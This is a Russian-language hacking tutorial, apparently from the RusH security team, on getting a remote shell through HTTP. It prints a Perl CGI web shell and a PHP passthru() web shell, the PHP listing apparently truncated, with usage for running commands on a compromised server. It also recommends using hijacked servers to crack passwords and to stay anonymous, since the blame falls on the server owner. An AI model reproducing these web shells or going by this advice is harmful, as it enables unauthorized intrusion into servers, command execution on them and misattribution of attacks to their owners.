Получение шелла через скрипт После размещения на сайте статьи "Описание взлома на конкретном примере" мой почтовый ящик просто завалили письмами с просьбами отослать скрипты которые я использовал. В силу природной лени отсылать я ничего не стал, да и не смог бы отослать всем т.к. количество желающих было весьма и весьма велико. Этой статьей я решил убить сразу двух зайцев: спасти свой ящик и научить вас как получить шелл через http. Итак начнём с теории. Что такое шелл? Все кто хоть раз видели, трогали, юзали =) *nix-like системы наверно знакомы с данной штуковиной =) Говоря простым языком шелл почти ничем не отличается от командной строки в винде (я конечно образно сравниваю две эти вещи т.к. набор команд для них совершенно различный). Нахрена он нам нужен? Оооо... имея шелл на удаленной машине (удаленный/remote шелл) мы получаем ряд положительных моментов. Во-первых не все ставят на локальной машине линукс и тому подобные операционки... например я большую часть времени сижу под ХР, но когда возникает необходимость скомпилить сплоит либо запустить прогу какую (например nmap) приходится перезагружать тачку. Конечно можно юзать всякого рода эмуляторы типа cygwin, но они не дают всех возможностей полноценной оси. Поэтому весьма удобно сидя под виндой подключится к шеллу на удалённой тачке и использовать все возможности системы. Во-вторых можно запускать процессы не загружая свою тачку... например запустить jtr на перебор паролей =) и отключившись от сети пойти попить пивка =) В-третьих юзая удалённый шелл для хака вы получаете полную (ну или почти полную) анонимность т.к. во всех взломах с сервера обвинят именно этот сервер а не вас. Приплюсуйте к этому скорость работы, сканирования и тому подобных вещей (сервак то не на диалапе висит =) и вы поймёте что шелл это то что вам крайне необходимо. =) Надеюсь убедил =) Ну чтож перейдем непосредственно к теме статьи. Зачем нам нужен шелл через http. Дело в том что достать нормальный шелл подчас бывает достаточно трудно а порой и невозможно, особенно на тачке которую мы ломаем =) А используя скрипты мы получим почти полноценный шелл и всё что нам для этого нужно это залить необходимые скрипты на сервер. Запустив скрипт мы сможем просматривать структуру каталогов сервера, файлы, изменять, удалять... в общем всё упирается в наши права в системе. Обычно при запуске получаем права с которыми запущен http сервер, а вдруг админ запустил сервер с рутовскими правами =) Ну что теперь я думаю пора рассказать немного о скриптах которые можно использовать для нашего дела. В сети можно найти огромное количество скриптов заточеных под наши нужды, думаю каждый найдёт себе то что он хочет. Но уж если случилось так что вы не можете найти необходимое, например ни один поисковый сайт не открывается, руки сломал, все адреса кроме http://www.rst.void.ru позабыл и так далее... то я приведу тут два коротеньких листинга скриптов на php и на перле. ##### Скрипт cmd.pl ##### #!/usr/bin/perl print "Content-tpe: text/html\n\n"; $cmd=$ENV{QUERY_STRING}; $cmd=~s/%20/ /g; print "
".`$cmd`."<\/pre>"; ##### end ##### Порядок использования: Заливаем на сервер, устанавливаем атрибуты 755 и запускаем: www.server.com/cgi-bin/cmd.pl?cmd=команда например www.server.com/cgi-bin/cmd.pl?cmd=ls выдаст листинг дректорий и файлов в текущей папке. ##### Скрипт shell.php ##### passthru("$cmd"); ?> ##### end ##### Порядок использования: Заливаем на сервер и запускаем: www.server.com/shell.php?cmd=команда Вот и всё про получение шелла через скрипт. Как видите всё очень просто. В следующей статье я расскажу о основных командах которые могут вам понадобится для взлома. Удачи вам. Автор: 1dt.w0lf --------------------------------------- RusH security team - http://rst.void.ru